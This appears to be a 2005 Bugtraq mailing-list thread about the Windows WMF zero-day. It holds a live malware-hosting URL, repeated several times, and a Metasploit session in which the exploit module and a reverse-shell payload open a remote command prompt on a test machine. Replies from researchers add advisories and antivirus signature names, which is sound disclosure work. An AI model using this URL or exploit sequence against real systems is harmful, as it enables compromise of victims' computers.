Is this a new exploit?

[noemailpls@noemail.ziper]

Warning the following URL successfully exploited a fully patched windows xp system with a freshly updated norton anti virus.

unionseek.com/d/t1/wmf_exp.htm

The url runs a .wmf and executes the virus, f-secure will pick up the virus norton will not.

[H D Moore]

I ported the exploit to the Metasploit Framework in case anyone wants to
test it without installing a thousand spyware apps...

Available from 'msfupdate' for MSF users, or in the 2.5 snapsh

--http://metasploit.com/projects/Framework/exploits.html#ie_xp_pfv_metafile
--http://metasploit.com/tools/framework-2.5-snapshot.tar.gz

Tested on Win XP SP1 and SP2.

-HD

+ -- --=[ msfconsole v2.5 [147 exploits - 77 payloads]

msf > use ie_xp_pfv_metafile
msf ie_xp_pfv_metafile > set PAYLOAD win32_reverse
PAYLOAD -> win32_reverse
msf ie_xp_pfv_metafile(win32_reverse) > set LHOST 192.168.0.2
LHOST -> 192.168.0.2
msf ie_xp_pfv_metafile(win32_reverse) > exploit
[*] Starting Reverse Handler.[*] Waiting for connections to http://0.0.0.0:8080/anything.wmf[*] HTTP Client connected from 192.168.0.219:1060 using Windows XP[*] Got connection from 192.168.0.2:4321 <-> 192.168.0.219:1061

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\Documents and Settings\XXXX\Desktop>


On Tuesday 27 December 2005 14:20, noemailpls@noemail.ziper wrote:
> Warning the following URL successfully exploited a fully patched
> windows xp system with a freshly updated norton anti virus.
>
> unionseek.com/d/t1/wmf_exp.htm
>
> The url runs a .wmf and executes the virus, f-secure will pick up the
> virus norton will not.

[redxii1234@hotmail.com]

apparently WMF can still execute code;

http://redxii.blogspot.com/2005/12/v...rendering.html

there was a patch for it two Tuesdays ago. It can still execute code even with the aforementioned patch

[Andreas Marx]

Hi,

yes, it seems to be a new exploit. More details about the problem can be found here:

http://www.f-secure.com/weblog/archi....html#00000752
http://isc.sans.org/diary.php?storyid=972
http://www.heise.de/newsticker/meldung/67794

Some AV companies have created signatures for the latest critter already:

AntiVir TR/Dldr.WMF.Small
Dr Web Exploit.MS05-053
F-Secure Exploit.Win32.Agent.r
Fortinet W32/WMF-exploit
Kaspersky Exploit.Win32.Agent.r
McAfee (BETA) Exploit-WMF trojan
Symantec (BETA) Download.Trojan

cheers,
Andreas Marx
http://www.av-test.org


Warning the following URL successfully exploited a fully patched windows xp system with a freshly updated norton anti virus.

unio[removeme]nseek.com/d[removeme]/t1/wm[removeme]f_exp.htm

The url runs a .wmf and executes the virus, f-secure will pick up the virus norton will not.

__________________________________________________ ____________________
XXL-Speicher, PC-Virenschutz, Spartarife & mehr: Nur im WEB.DE Club!
Jetzt gratis testen! http://freemail.web.de/home/landingpad/?mc=021130

[Portz, Jon]

This is a multi-part message in MIME format.

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Windows .wmf vulnerability, look here:

http://secunia.com/advisories/18255/

JTP

-----Original Message-----
From: noemailpls@noemail.ziper [mailto:noemailpls@noemail.ziper]
Sent: Tuesday, December 27, 2005 3:20 PM
To: bugtraq@securityfocus.com
Subject: Is this a new exploit?

Warning the following URL successfully exploited a fully patched windows xp
system with a freshly updated norton anti virus.

unionseek.com/d/t1/wmf_exp.htm

The url runs a .wmf and executes the virus, f-secure will pick up the virus
norton will not.

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